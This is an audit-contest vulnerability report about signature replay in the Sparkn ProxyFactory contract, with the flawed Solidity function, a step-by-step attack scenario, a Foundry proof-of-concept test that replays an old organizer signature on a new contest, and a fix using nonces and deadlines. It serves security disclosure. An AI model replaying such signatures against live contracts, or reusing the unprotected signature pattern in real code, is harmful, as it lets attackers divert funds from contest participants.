Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

ProxyFactory does not prevent EIP712 replay attacks

nmirchev8

Summary

The contract is using OZ EIP712 implementation and it prevents from cross-chain replay attacks, but not from executing ones transaction a couple of times on the same contract implementation.

Vulnerability Details

EIP712 only defines the structure which should be used, so signed messages are represented in better way, but does not define how to prevent replay attacks. Good practices for using signature for given function is to hash all important params, include deadline for which the signature is valid and some check whether transaction with same signature is entering the contract. In this contract none of the above is implemented:

function deployProxyAndDistributeBySignature(
address organizer,
bytes32 contestId,
address implementation,
bytes calldata signature,
bytes calldata data
) public returns (address) {
bytes32 digest = _hashTypedDataV4(
keccak256(abi.encode(contestId, data))
);
if (ECDSA.recover(digest, signature) != organizer)
revert ProxyFactory__InvalidSignature();
bytes32 salt = _calculateSalt(organizer, contestId, implementation);
if (saltToCloseTime[salt] == 0)
revert ProxyFactory__ContestIsNotRegistered();
if (saltToCloseTime[salt] > block.timestamp)
revert ProxyFactory__ContestIsNotClosed();
address proxy = _deployProxy(organizer, contestId, implementation);
_distribute(proxy, data);
return proxy;
}

You could see this article. Here are described above-mentioned security concerns.

Impact

Replay attacks could have different impacts in different and generally they are entry points for bigger exploits.
Here an example could be as follows:

We have contest A with participants x,y,Eve with percentages 20,20,60

  1. Bob is the organizer of the contract, but he sign the above data(winners[x,y,Eve], percentages[20,20,60]) and send the signature to his friend Alice to end end the contest, when it is time, because Bob has a lot to do.

  2. The only think which is checked within the signature is the data and the contestId. (We don't check the implementation which is important part for the execution).

  3. Alice executes function deployProxyAndDistributeBySignature() with the corresponding params for the organizer(Bob), data, implementation of the existing contest and corresponding id.

  4. The prices are distributed and everybody is happy, but Eve the winner of the 60% of the price pool saw that he could use the same signature again for those organizer.
    5 - First scenario is if somebody accidently sent assets to already finalized contest, Eve could execute deployProxyAndDistributeBySignature() and take more assets.
    5 - Another scenario is that the same organizer creates new contest, but with other implementation. The unique salt, which we use to track if the contest exist hashes (organizer, contestId, implementation), so the same values for the first two params and different implementation is a valid empty slot, where the contest could be initialized.

  5. Now Eve could get credit without even taking part of the contest. When the contest ends, she just have to call deployProxyAndDistributeBySignature() with the same data as the signature is set, but as long as we don't hash the implementation in the struct, she can pass the new contest implementation and so guess... The prices for the new contest are distributed to people, which never took part.

PoC - Test

function testIfConstestWithNewImplementationAndSameOrganizerAndIdCouldBeExploitedByOldSignature() public setUpContestForJasonAndSentJpycv2Token(TEST_SIGNER) {
// before
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);
​
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(TEST_SIGNER_KEY);
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
​
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
vm.warp(8.01 days);
// it succeeds
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor), signature, sendingData
);
​
// Setup new implementation + new contest.
vm.startBroadcast();
Distributor newImple = new Distributor(address(proxyFactory), stadiumAddress);
vm.stopBroadcast();
vm.startPrank(factoryAdmin);
proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp + 8 days, address(newImple));
vm.stopPrank();
bytes32 salt = keccak256(abi.encode(TEST_SIGNER, randomId, address(newImple)));
address proxyAddress = proxyFactory.getProxyAddress(salt, address(newImple));
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyAddress, 10 ether);
vm.stopPrank();
​
vm.warp(20 days);
​
// This is totally different contest from the previous one, using different implementation, but winners are the same,
// because the sig with provided data from the previous contest is valid.
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(newImple), signature, sendingData
);
​
// The test is passing, because all operations has passed and the tx wasn't reverted, which is wrong behaviour of the contract
// because fail_on_revert = true and this is why if the transaction is reverted, this test would fail.
}

Tools Used

Manual review

Recommendations

Consider implementing nonces, deadline and hashing all important parametes as "implementation".
You could see OZ ERC20Permit implementation

mapping(address => uint256) nonces;
​
function deployProxyAndDistributeBySignature(
address organizer,
bytes32 contestId,
address implementation,
uint256 deadline,
bytes calldata signature,
bytes calldata data
) public returns (address) {
if (block.timestamp > deadline) {
revert("Signature has expired");
}
​
bytes32 digest = _hashTypedDataV4(
keccak256(
abi.encode(
contestId,
data,
implementation,
deadline,
_useNonce(organizer)
)
)
);
if (ECDSA.recover(digest, signature) != organizer)
revert ProxyFactory__InvalidSignature();
bytes32 salt = _calculateSalt(organizer, contestId, implementation);
if (saltToCloseTime[salt] == 0)
revert ProxyFactory__ContestIsNotRegistered();
if (saltToCloseTime[salt] > block.timestamp)
revert ProxyFactory__ContestIsNotClosed();
address proxy = _deployProxy(organizer, contestId, implementation);
_distribute(proxy, data);
return proxy;
}
​
function _useNonce(address owner) private returns (uint256) {
uint256 result = nonces[owner];
nonces[owner]++;
return result;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.